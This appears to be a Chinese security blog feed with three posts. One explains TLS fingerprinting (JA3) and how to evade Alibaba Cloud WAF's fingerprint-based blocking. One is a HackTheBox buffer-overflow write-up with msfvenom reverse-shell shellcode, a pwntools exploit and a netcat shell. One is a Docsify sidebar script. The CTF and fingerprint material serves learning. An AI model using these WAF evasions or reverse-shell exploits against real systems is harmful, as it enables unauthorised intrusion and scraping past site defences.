Signature Algorithm: rsa_pkcs1_sha256 (0x0401)
Signature Hash Algorithm Hash: SHA256 (4)
Signature Hash Algorithm Signature: RSA (1)
Signature Algorithm: rsa_pkcs1_sha384 (0x0501)
Signature Hash Algorithm Hash: SHA384 (5)
Signature Hash Algorithm Signature: RSA (1)
Signature Algorithm: rsa_pkcs1_sha512 (0x0601)
Signature Hash Algorithm Hash: SHA512 (6)
Signature Hash Algorithm Signature: RSA (1)
Signature Algorithm: SHA256 DSA (0x0402)
Signature Hash Algorithm Hash: SHA256 (4)
Signature Hash Algorithm Signature: DSA (2)
Signature Algorithm: SHA224 ECDSA (0x0303)
Signature Hash Algorithm Hash: SHA224 (3)
Signature Hash Algorithm Signature: ECDSA (3)
Signature Algorithm: SHA224 RSA (0x0301)
Signature Hash Algorithm Hash: SHA224 (3)
Signature Hash Algorithm Signature: RSA (1)
Signature Algorithm: SHA224 DSA (0x0302)
Signature Hash Algorithm Hash: SHA224 (3)
Signature Hash Algorithm Signature: DSA (2)
Signature Algorithm: ecdsa_sha1 (0x0203)
Signature Hash Algorithm Hash: SHA1 (2)
Signature Hash Algorithm Signature: ECDSA (3)
Signature Algorithm: rsa_pkcs1_sha1 (0x0201)
Signature Hash Algorithm Hash: SHA1 (2)
Signature Hash Algorithm Signature: RSA (1)
Signature Algorithm: SHA1 DSA (0x0202)
Signature Hash Algorithm Hash: SHA1 (2)
Signature Hash Algorithm Signature: DSA (2)
Signature Algorithm: MD5 RSA (0x0101)
Signature Hash Algorithm Hash: MD5 (1)
Signature Hash Algorithm Signature: RSA (1)
Extension: application_layer_protocol_negotiation (len=5)
Type: application_layer_protocol_negotiation (16)
Length: 5
ALPN Extension Length: 3
ALPN Protocol
ALPN string length: 2
ALPN Next Protocol: h2
Extension: status_request_v2 (len=9)
Type: status_request_v2 (17)
Length: 9
Certificate Status List Length: 7
Certificate Status Type: OCSP Multi (2)
Certificate Status Length: 4
Responder ID list Length: 0
Request Extensions Length: 0
Extension: extended_master_secret (len=0)
Type: extended_master_secret (23)
Length: 0
Extension: supported_versions (len=11)
Type: supported_versions (43)
Length: 11
Supported Versions length: 10
Supported Version: TLS 1.3 (0x0304)
Supported Version: TLS 1.2 (0x0303)
Supported Version: TLS 1.1 (0x0302)
Supported Version: TLS 1.0 (0x0301)
Supported Version: SSL 3.0 (0x0300)
Extension: psk_key_exchange_modes (len=2)
Type: psk_key_exchange_modes (45)
Length: 2
PSK Key Exchange Modes Length: 1
PSK Key Exchange Mode: PSK with (EC)DHE key establishment (psk_dhe_ke) (1)
Extension: key_share (len=71)
Type: key_share (51)
Length: 71
Key Share extension

Chrome

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
TLSv1.2 Record Layer: Handshake Protocol: Client Hello
Content Type: Handshake (22)
Version: TLS 1.0 (0x0301)
Length: 512
Handshake Protocol: Client Hello
Handshake Type: Client Hello (1)
Length: 508
Version: TLS 1.2 (0x0303)
Random: cda2b7713eda42ed5238959d5acbb8ffea6e9c7ae6bc541614761fc68ac1a7a0
GMT Unix Time: Apr 29, 2079 19:24:33.000000000 CST
Random Bytes: 3eda42ed5238959d5acbb8ffea6e9c7ae6bc541614761fc68ac1a7a0
Session ID Length: 32
Session ID: bfa5f956712d98ce593c9655df89762afed606a291145a70abbd12e17057376e
Cipher Suites Length: 32
Cipher Suites (16 suites)
Cipher Suite: Reserved (GREASE) (0xeaea)
Cipher Suite: TLS_AES_128_GCM_SHA256 (0x1301)
Cipher Suite: TLS_AES_256_GCM_SHA384 (0x1302)
Cipher Suite: TLS_CHACHA20_POLY1305_SHA256 (0x1303)
Cipher Suite: TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256 (0xc02b)
Cipher Suite: TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 (0xc02f)
Cipher Suite: TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384 (0xc02c)
Cipher Suite: TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 (0xc030)
Cipher Suite: TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305_SHA256 (0xcca9)
Cipher Suite: TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305_SHA256 (0xcca8)
Cipher Suite: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA (0xc013)
Cipher Suite: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA (0xc014)
Cipher Suite: TLS_RSA_WITH_AES_128_GCM_SHA256 (0x009c)
Cipher Suite: TLS_RSA_WITH_AES_256_GCM_SHA384 (0x009d)
Cipher Suite: TLS_RSA_WITH_AES_128_CBC_SHA (0x002f)
Cipher Suite: TLS_RSA_WITH_AES_256_CBC_SHA (0x0035)
Compression Methods Length: 1
Compression Methods (1 method)
Compression Method: null (0)
Extensions Length: 403
Extension: Reserved (GREASE) (len=0)
Type: Reserved (GREASE) (27242)
Length: 0
Data: <MISSING>
Extension: server_name (len=22)
Type: server_name (0)
Length: 22
Server Name Indication extension
Server Name list length: 20
Server Name Type: host_name (0)
Server Name length: 17
Server Name: xxxx.xxxx.com
Extension: extended_master_secret (len=0)
Type: extended_master_secret (23)
Length: 0
Extension: renegotiation_info (len=1)
Type: renegotiation_info (65281)
Length: 1
Renegotiation Info extension
Renegotiation info extension length: 0
Extension: supported_groups (len=10)
Type: supported_groups (10)
Length: 10
Supported Groups List Length: 8
Supported Groups (4 groups)
Extension: ec_point_formats (len=2)
Type: ec_point_formats (11)
Length: 2
EC point formats Length: 1
Elliptic curves point formats (1)
EC point format: uncompressed (0)
Extension: session_ticket (len=0)
Type: session_ticket (35)
Length: 0
Data (0 bytes)
Extension: application_layer_protocol_negotiation (len=14)
Type: application_layer_protocol_negotiation (16)
Length: 14
ALPN Extension Length: 12
ALPN Protocol
ALPN string length: 2
ALPN Next Protocol: h2
ALPN string length: 8
ALPN Next Protocol: http/1.1
Extension: status_request (len=5)
Type: status_request (5)
Length: 5
Certificate Status Type: OCSP (1)
Responder ID list Length: 0
Request Extensions Length: 0
Extension: signature_algorithms (len=18)
Type: signature_algorithms (13)
Length: 18
Signature Hash Algorithms Length: 16
Signature Hash Algorithms (8 algorithms)
Signature Algorithm: ecdsa_secp256r1_sha256 (0x0403)
Signature Hash Algorithm Hash: SHA256 (4)
Signature Hash Algorithm Signature: ECDSA (3)
Signature Algorithm: rsa_pss_rsae_sha256 (0x0804)
Signature Hash Algorithm Hash: Unknown (8)
Signature Hash Algorithm Signature: Unknown (4)
Signature Algorithm: rsa_pkcs1_sha256 (0x0401)
Signature Hash Algorithm Hash: SHA256 (4)
Signature Hash Algorithm Signature: RSA (1)
Signature Algorithm: ecdsa_secp384r1_sha384 (0x0503)
Signature Hash Algorithm Hash: SHA384 (5)
Signature Hash Algorithm Signature: ECDSA (3)
Signature Algorithm: rsa_pss_rsae_sha384 (0x0805)
Signature Hash Algorithm Hash: Unknown (8)
Signature Hash Algorithm Signature: Unknown (5)
Signature Algorithm: rsa_pkcs1_sha384 (0x0501)
Signature Hash Algorithm Hash: SHA384 (5)
Signature Hash Algorithm Signature: RSA (1)
Signature Algorithm: rsa_pss_rsae_sha512 (0x0806)
Signature Hash Algorithm Hash: Unknown (8)
Signature Hash Algorithm Signature: Unknown (6)
Signature Algorithm: rsa_pkcs1_sha512 (0x0601)
Signature Hash Algorithm Hash: SHA512 (6)
Signature Hash Algorithm Signature: RSA (1)
Extension: signed_certificate_timestamp (len=0)
Type: signed_certificate_timestamp (18)
Length: 0
Extension: key_share (len=43)
Type: key_share (51)
Length: 43
Key Share extension
Extension: psk_key_exchange_modes (len=2)
Type: psk_key_exchange_modes (45)
Length: 2
PSK Key Exchange Modes Length: 1
PSK Key Exchange Mode: PSK with (EC)DHE key establishment (psk_dhe_ke) (1)
Extension: supported_versions (len=11)
Type: supported_versions (43)
Length: 11
Supported Versions length: 10
Supported Version: Unknown (0x4a4a)
Supported Version: TLS 1.3 (0x0304)
Supported Version: TLS 1.2 (0x0303)
Supported Version: TLS 1.1 (0x0302)
Supported Version: TLS 1.0 (0x0301)
Extension: compress_certificate (len=3)
Type: compress_certificate (27)
Length: 3
Algorithms Length: 2
Algorithm: brotli (2)
Extension: Reserved (GREASE) (len=1)
Type: Reserved (GREASE) (31354)
Length: 1
Data: 00
Extension: padding (len=203)
Type: padding (21)
Length: 203
Padding Data: 000000000000000000000000000000000000000000000000000000000000000000000000…

对比一下burp和requests的Client Hello有什么区别

image-20210417232659698

image-20210418003345250

image-20210418003434433

一些不同的点:

Burp SuiteRequests
TLSv1.2 Record Layer: Handshake Protocol: Client Hello Version: TLS 1.2 (0x0303)TLSv1.2 Record Layer: Handshake Protocol: Client Hello Version: TLS 1.0 (0x0301)
Length: 466Length: 338
Cipher Suites Length: 104Cipher Suites Length: 86
Cipher Suites (52 suites)Cipher Suites (43 suites)
Cipher Suite: TLS_AES_128_GCM_SHA256 (0x1301) Cipher Suite:TLS_AES_256_GCM_SHA384 (0x1302) Cipher Suite: TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384 (0xc02c)Cipher Suite:TLS_AES_256_GCM_SHA384 (0x1302) Cipher Suite: TLS_CHACHA20_POLY1305_SHA256 (0x1303) Cipher Suite: TLS_AES_128_GCM_SHA256 (0x1301)
Extensions Length: 285Extensions Length: 175
Extension: signature_algorithms (len=46)Extension: signature_algorithms (len=48)
Extension: supported_versions (len=11)Extension: supported_versions (len=9)

可以看到很多地方都存在差异,主要为支持的协议,length,支持的加密套件,加密套件的排列方式等

多次请求可以发现相同的客户端发起请求,除了Random和Session ID之外其他内容是完全一样的

image-20210418004913296

所以这里面固定的内容其实就可以作为指纹来进行识别

比如加密套件13 02-00 ff在tcp流当中就有固定的字节顺序

image-20210418005437823

TLS Fingerprint 识别原理

https://idea.popcount.org/2012-06-17-ssl-fingerprinting-for-p0f/

https://github.com/salesforce/ja3

看了下ja3 的指纹计算规则:

The field order is as follows:

1
SSLVersion,Cipher,SSLExtension,EllipticCurve,EllipticCurvePointFormat

Example:

1
769,47-53-5-10-49161-49162-49171-49172-50-56-19-4,0-10-11,23-24-25,0

把版本,加密套件,扩展等内容按顺序排列然后计算hash值,便可得到一个客户端的TLS FingerPrint,waf防护规则其实就是整理提取一些常见的非浏览器客户端requests,curl的指纹然后在客户端发起https请求时进行识别并拦截

Bypass

除了TLS指纹,对User-Agent也是有对应拦截,如果使用带有UA特征的客户端那么UA也是需要更改的

1.访问ip指定host绕过waf

上文提到过,套了阿里云waf的服务器cname解析到了yundunwaf3.com的域名,这种情况可以直接ping 域名获取真实ip,然后请求地址设置为真实ip 在 HTTP Header的Host字段中指定域名即可绕过waf的防护

当然这种方式如果目标服务器开启了强制域名访问会失效

2.代理中转请求

在本地启动代理服务器,如Burp Suite,发起http请求时指定代理服务器为burp的地址,让burp来进行TLS握手,算是一种曲线救国的方法

1
2
3
4
5
6
import requests
proxies = {
'http': 'http://127.0.0.1:8080',
'https': 'http://127.0.0.1:8080'
}
rsp=requests.get(url,proxies=proxies)

当然这种方案需要找一个不会被拦截的客户端代理才可以,试了几个go写的代理如goproxy发现仍然被拦截

3.更换request工具库

Requests其实是对urllib3的一个封装,那python有没有不用urllib的http request库呢?

翻了翻aiohttp的源码发现貌似并没有用urllib3,抓包发现tls指纹和requests也有着明显的差异

实际测试aiohttp确实没有被拦截

4.魔改requests

从根本上解决问题,debug跟踪到了几处可能可以修改TLS握手特征的代码

举一个🌰

/usr/local/lib/python3.9/site-packages/urllib3/util/ssl_.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
DEFAULT_CIPHERS = ":".join(
[
"ECDHE+AESGCM",
"ECDHE+CHACHA20",
"DHE+AESGCM",
"DHE+CHACHA20",
"ECDH+AESGCM",
"DH+AESGCM",
"ECDH+AES",
"DH+AES",
"RSA+AESGCM",
"RSA+AES",
"!aNULL",
"!eNULL",
"!MD5",
"!DSS",
]
)

DEFAULT_CIPHERS中定义了一部分的加密套件,直接进行一个删除

当然其他能改的地方还有很多

image-20210418013151683

成功绕过了阿里云的拦截

image-20210418012703824

原本内容:

1
2
Cipher Suites Length: 86
Cipher Suites (43 suites)

修改后的内容:

1
2
Cipher Suites Length: 80
Cipher Suites (40 suites)

加密套件的内容发生了变化,使得Finger Print和原本requests不一致

理论上其他客户端也可以进行修改代码实现变更TLS指纹的操作,但是如java,go等编译型语言写的工具在没有源码的情况下修改会很麻烦

Other

感觉是好多年前就被研究出来的技术了,一定程度上来说确实能防止一些特定语言和客户端的爬虫和扫描工具,尤其是脚本小子们,未来各家waf防火墙估计也会上对应的功能,虽然目前只在阿里云waf见过,目前其他家waf的防爬虫功能貌似就是没啥卵用的识别个User-Agent

作为一个Scripting Kiddie日个站已经很不容易了,总搞这种影响体验的东西搞👴的心态真的好🐎?

全版本burp的指纹麻烦加一加,大家都不用上班了,美滋滋(之前有几次发现某些站只要挂了burp就无法访问但是同事其他版本的burp屁事没有,现在想起来可能也是这个问题

]]>
<h1 id="SSL-Fingerprint-and-Bypass"><a href="#SSL-Fingerprint-and-Bypass" class="headerlink" title="SSL Fingerprint and Bypass"></a><a href=
HTB - You know 0xDiablos https://ares-x.com/2021/04/14/HTB-You-know-0xDiablos/ 2021-04-14T15:19:51.000Z 2023-12-11T13:03:30.945Z HTB - You know 0xDiablos

Checksec

1
2
3
4
5
6
7
8
➜  You know 0xDiablos checksec vuln
[*] '/mnt/hgfs/aresx/pwn/htb/You know 0xDiablos/vuln'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments

Fuzz

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
➜  You know 0xDiablos cyclic 500 > out
➜ You know 0xDiablos gdb-gef --ex run ./vuln < out
Reading symbols from ./vuln...
(No debugging symbols found in ./vuln)
GEF for linux ready, type `gef' to start, `gef config' to configure
92 commands loaded for GDB 9.1 using Python engine 3.8
Starting program: /mnt/hgfs/aresx/pwn/htb/You know 0xDiablos/vuln
You know who are 0xDiablos:
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaae

Program received signal SIGSEGV, Segmentation fault.
0x62616177 in ?? ()
[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────────────────────────── registers ────
$eax : 0x1f5
$ebx : 0x62616175 ("uaab"?)
$ecx : 0xffffffff
$edx : 0xffffffff
$esp : 0xffffd370 → "xaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaacka[...]"
$ebp : 0x62616176 ("vaab"?)
$esi : 0xf7fb3000 → 0x001e9d6c
$edi : 0xf7fb3000 → 0x001e9d6c
$eip : 0x62616177 ("waab"?)
$eflags: [zero carry parity adjust SIGN trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffd370│+0x0000: "xaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaacka[...]"$esp
0xffffd374│+0x0004: "yaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaacla[...]"
0xffffd378│+0x0008: "zaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacma[...]"
0xffffd37c│+0x000c: "baaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacna[...]"
0xffffd380│+0x0010: "caacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoa[...]"
0xffffd384│+0x0014: "daaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpa[...]"
0xffffd388│+0x0018: "eaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqa[...]"
0xffffd38c│+0x001c: "faacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacra[...]"
──────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0x62616177
──────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "vuln", stopped 0x62616177 in ?? (), reason: SIGSEGV
────────────────────────────────────────────────────────────────────────────────────────── trace ────
─────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤ quit

Find offset

  • eip
1
➜  You know 0xDiablos cyclic -l 0x62616177188
  • esp
1
2
➜  You know 0xDiablos cyclic -l xaab
192

Payload

1
"A"*188+eip+payload

Generate Payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
╰─➤ msfvenom -p linux/x86/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4433 -f py -b "\x00\x20\x0A"
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 95 (iteration=0)
x86/shikata_ga_nai chosen with final size 95
Payload size: 95 bytes
Final size of py file: 479 bytes
buf = b""
buf += b"\xba\x41\x94\x42\x64\xdb\xd2\xd9\x74\x24\xf4\x5f\x2b"
buf += b"\xc9\xb1\x12\x83\xef\xfc\x31\x57\x0e\x03\x16\x9a\xa0"
buf += b"\x91\xa9\x79\xd3\xb9\x9a\x3e\x4f\x54\x1e\x48\x8e\x18"
buf += b"\x78\x87\xd1\xca\xdd\xa7\xed\x21\x5d\x8e\x68\x43\x35"
buf += b"\x6e\x8b\xb3\xc4\xf8\x89\xb3\xd7\xa9\x04\x52\x67\x2f"
buf += b"\x47\xc4\xd4\x03\x64\x6f\x3b\xae\xeb\x3d\xd3\x5f\xc3"
buf += b"\xb2\x4b\xc8\x34\x1a\xe9\x61\xc2\x87\xbf\x22\x5d\xa6"
buf += b"\x8f\xce\x90\xa9"

Find ESP Address

1
socat TCP4-LISTEN:10001,fork EXEC:./vuln
1
2
3
4
5
6
7
8
from pwn import *
p = remote('127.0.0.1',10001)

# hide

buffer=offset+eip+payload
p.recv()
p.sendline(buffer)
1
2
ulimit -c unlimited
sudo sh -c 'echo "/tmp/core.%t" > /proc/sys/kernel/core_pattern'
1
2
3
4
5
6
7
8
9
10
11
12
13
➜  You know 0xDiablos gdb-gef vuln /tmp/core.1618245963
Reading symbols from vuln...
(No debugging symbols found in vuln)
[New LWP 19601]
Core was generated by `./vuln'.
Program terminated with signal SIGILL, Illegal instruction.
#0 0xffffd42e in ?? ()
GEF for linux ready, type `gef' to start, `gef config' to configure
92 commands loaded for GDB 9.1 using Python engine 3.8
Error while writing index for `/usr/lib/debug/lib/i386-linux-gnu/libc-2.31.so': mkstemp: 没有那个文件或目录.
gef➤ x/wx $esp
0xffffd360: 0x90909090
gef➤

ESP: 0xffffd360

1
\x60\xd3\xff\xff

Complite Exploit

1
2
3
4
5
6
7
8
9
from pwn import *

p = remote('127.0.0.1',10001)

# hide

buffer=offset+eip+payload
p.recv()
p.sendline(buffer)
1
socat TCP4-LISTEN:10001,fork EXEC:./vuln
1
2
➜  ~ nc -l 4433
w
1
python3 getshell.py
1
2
3
4
5
6
7
8
➜  ~ nc -l 4433
w
05:08:57 up 3 days, 22:41, 4 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
aresx :0 :0 Fri02 ?xdm? 25:33 0.01s /usr/lib/gdm3/gdm-x-session --run-script env GNOME_SHELL_SESSION_MODE=ubuntu /usr/bin/gnome-session --systemd --session=ubuntu
aresx pts/0 192.168.92.1 Fri05 19:20m 24.17s 0.00s w
aresx pts/1 192.168.92.1 Fri05 1.00s 12.66s 0.29s python3 getshell.py
aresx pts/2 192.168.92.1 Fri05 0.00s 4.90s 0.00s nc -l 4433

Done ?

Fuck no

由于启动方式的不同,远程服务器的esp地址还是和本地环境不一致

需要换种思路

Source Code

main

1
2
3
4
5
6
7
8
9
10
11
int __cdecl main(int argc, const char **argv, const char **envp)
{
__gid_t v3; // ST1C_4

setvbuf(stdout, 0, 2, 0);
v3 = getegid();
setresgid(v3, v3, v3);
puts("You know who are 0xDiablos: ");
vuln();
return 0;
}

vuln

1
2
3
4
5
6
7
int vuln()
{
char s; // [esp+0h] [ebp-B8h]

gets(&s);
return puts(&s);
}

flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
char *__cdecl flag(int a1, int a2)
{
char *result; // eax
char s; // [esp+Ch] [ebp-4Ch]
FILE *stream; // [esp+4Ch] [ebp-Ch]

stream = fopen("flag.txt", (const char *)&unk_804A008);
if ( !stream )
{
puts("Hurry up and try in on server side.");
exit(0);
}
result = fgets(&s, 64, stream);
if ( a1 == -559038737 && a2 == -1059139571 )
result = (char *)printf(&s);
return result;
}

看源码可以知道flag函数接收两个参数a1,a2,并且会进行判断

1
2
if ( a1 == -559038737 && a2 == -1059139571 )
result = (char *)printf(&s);

Final Exploit

1
2
3
188位的offset使程序发生溢出,后面8位覆盖eip指向flag函数地址,shellcode为call函数时压入栈中的参数

offset+eip+shellcode

IDA中可以确定flag函数的调用地址080491E2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
.text:080491E2                 push    ebp
.text:080491E3 mov ebp, esp
.text:080491E5 push ebx
.text:080491E6 sub esp, 54h
.text:080491E9 call __x86_get_pc_thunk_bx
.text:080491EE add ebx, 2E12h
.text:080491F4 sub esp, 8
.text:080491F7 lea eax, (unk_804A008 - 804C000h)[ebx]
.text:080491FD push eax ; modes
.text:080491FE lea eax, (aFlagTxt - 804C000h)[ebx] ; "flag.txt"
.text:08049204 push eax ; filename
.text:08049205 call _fopen
.text:0804920A add esp, 10h
.text:0804920D mov [ebp+stream], eax
.text:08049210 cmp [ebp+stream], 0
.text:08049214 jnz short loc_8049232
.text:08049216 sub esp, 0Ch
.text:08049219 lea eax, (aHurryUpAndTryI - 804C000h)[ebx] ; "Hurry up and try in on server side."
.text:0804921F push eax ; s
.text:08049220 call _puts
.text:08049225 add esp, 10h
.text:08049228 sub esp, 0Ch
.text:0804922B push 0 ; status
.text:0804922D call _exit

也可以使用readelf

1
2
➜  You know 0xDiablos readelf -a vuln | grep FUNC | grep flag
73: 080491e2 144 FUNC GLOBAL DEFAULT 13 flag

可以写一个类似的程序确定函数之间调用的细节

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int flag(int a,int b){
int x =3;
x = x-1;


if (a==-559038737 && b==-1059139571){
return a+b;
}

}

int main(){

flag(-559038737,-1059139571);
return 0;

}
1
gcc -m32 -z execstack -fno-stack-protector -no-pie -z norelro -D_FORTIFY_SOURCE=0 test.c -o test
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
➜  You know 0xDiablos gdb-gef test
Reading symbols from test...
(No debugging symbols found in test)
GEF for linux ready, type `gef' to start, `gef config' to configure
92 commands loaded for GDB 9.1 using Python engine 3.8
gef➤ b main
Breakpoint 1 at 0x80491b3
gef➤ x/20i main
0x80491b3
: endbr32
0x80491b7 : push ebp
0x80491b8 : mov ebp,esp
0x80491ba : call 0x80491dd <__x86.get_pc_thunk.ax>
0x80491bf : add eax,0x20dd
0x80491c4 : push 0xc0ded00d
0x80491c9 : push 0xdeadbeef
0x80491ce : call 0x8049176
0x80491d3 : add esp,0x8
0x80491d6 : mov eax,0x0
0x80491db : leave
0x80491dc : ret
0x80491dd <__x86.get_pc_thunk.ax>: mov eax,DWORD PTR [esp]
0x80491e0 <__x86.get_pc_thunk.ax+3>: ret

可以看到在调用flag函数之前将两个参数压入了栈中,然后执行call指令

si进入call flag 看看栈顶多了个什么东西???

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
gef➤  si
0x08049176 in flag ()
[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────────────────────────── registers ────
$eax : 0x0804b29c → 0x0804b1b0 → 0x00000001
$ebx : 0x0
$ecx : 0x2a848268
$edx : 0xffffd3c4 → 0x00000000
$esp : 0xffffd38c → 0x080491d3 → add esp, 0x8
$ebp : 0xffffd398 → 0x00000000
$esi : 0xf7fb3000 → 0x001e9d6c
$edi : 0xf7fb3000 → 0x001e9d6c
$eip : 0x08049176 → endbr32
$eflags: [zero carry PARITY ADJUST sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffd38c│+0x0000: 0x080491d3 → add esp, 0x8 ← $esp
0xffffd390│+0x0004: 0xdeadbeef
0xffffd394│+0x0008: 0xc0ded00d
0xffffd398│+0x000c: 0x00000000 ← $ebp
0xffffd39c│+0x0010: 0xf7de7ee5 → <__libc_start_main+245> add esp, 0x10
0xffffd3a0│+0x0014: 0x00000001
0xffffd3a4│+0x0018: 0xffffd434 → 0xffffd5ae → "/mnt/hgfs/aresx/pwn/htb/You know 0xDiablos/test"
0xffffd3a8│+0x001c: 0xffffd43c → 0xffffd5de → "USER=aresx"
──────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
0x8049169 <__do_global_dtors_aux+41> lea esi, [esi+eiz*1+0x0]
0x8049170 endbr32
0x8049174 jmp 0x8049100
→ 0x8049176 endbr32
0x804917a push ebp
0x804917b mov ebp, esp
0x804917d sub esp, 0x10
0x8049180 call 0x80491dd <__x86.get_pc_thunk.ax>
0x8049185 add eax, 0x2117
──────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "test", stopped 0x8049176 in flag (), reason: SINGLE STEP
────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x8049176 → flag()
[#1] 0x80491d3 → main()
─────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤

然后直接进行一个exp的编写

]]>
<h1 id="HTB-You-know-0xDiablos"><a href="#HTB-You-know-0xDiablos" class="headerlink" title="HTB - You know 0xDiablos"></a>HTB - You know 0xD
Docsify 自动生成sidebar.md脚本 https://ares-x.com/2021/02/20/Docsify-%E8%87%AA%E5%8A%A8%E7%94%9F%E6%88%90sidebar-md%E8%84%9A%E6%9C%AC/ 2021-02-20T07:07:11.000Z 2023-12-24T09:02:58.954Z Docsify auto generate sidebar.md

项目结构

1
2
3
4
5
6
╰─➤ ls -l
total 408
drwxr-xr-x 9 aresx staff 288 2 20 11:50 VulWiki
-rw-r--r--@ 1 aresx staff 140136 2 20 11:51 _sidebar.md
-rw-r--r--@ 1 aresx staff 1895 11 3 23:49 index.html
-rwxr-xr-x 1 aresx staff 1025 10 16 13:30 sidebar.sh

复制到index.html 同级目录下执行

注意:修改25行root_dir 中的目录为存储Markdown文件的目录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#!/bin/bash
IFS=$(echo -en "\n\b")
function getdir(){
for element in `ls -1 $1`
do
dir_or_file=$1"/"$element
counter=`echo $dir_or_file | grep -o / | wc -l`
let counter-=2
if [ -d $dir_or_file ] ;
then

printf '%0.s ' $(seq 0 $counter) >> _sidebar.md
echo "- $element" >> _sidebar.md
getdir $dir_or_file
else
echo $dir_or_file
printf '%0.s ' $(seq 0 $counter) >> _sidebar.md
path=`echo $dir_or_file| sed "s/[ ]/%20/g" | sed "s/[+]/%2B/g"`
title=`echo $element | sed "s/.md//"`
echo "- [$title](./$path)" >> _sidebar.md
fi
done
}

root_dir=`ls -d VulWiki/*/`
#root_dir=`ls -d */ "$1/VulWiki" | sed 's/\///g'`
:> _sidebar.md
for dir in $root_dir
do
if [ "$dir" = "." ]
then
continue
else
C1=`echo $dir | cut -f2 -d '/'`
echo "- $C1" | cut -f2 -d '/' >> _sidebar.md
getdir `echo $dir | sed s'/.$//'`
fi
done

脚本会依次递归扫描root_dir下的目录中的所有Markdown文件

1
2
╰─➤ ls -d VulWiki/*/
VulWiki/IOT安全/ VulWiki/Web安全/ VulWiki/系统安全/

并且针对文件名中的空格和+号进行了处理,避免出现链接无法点击的问题

效果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
- IOT安全
- 360
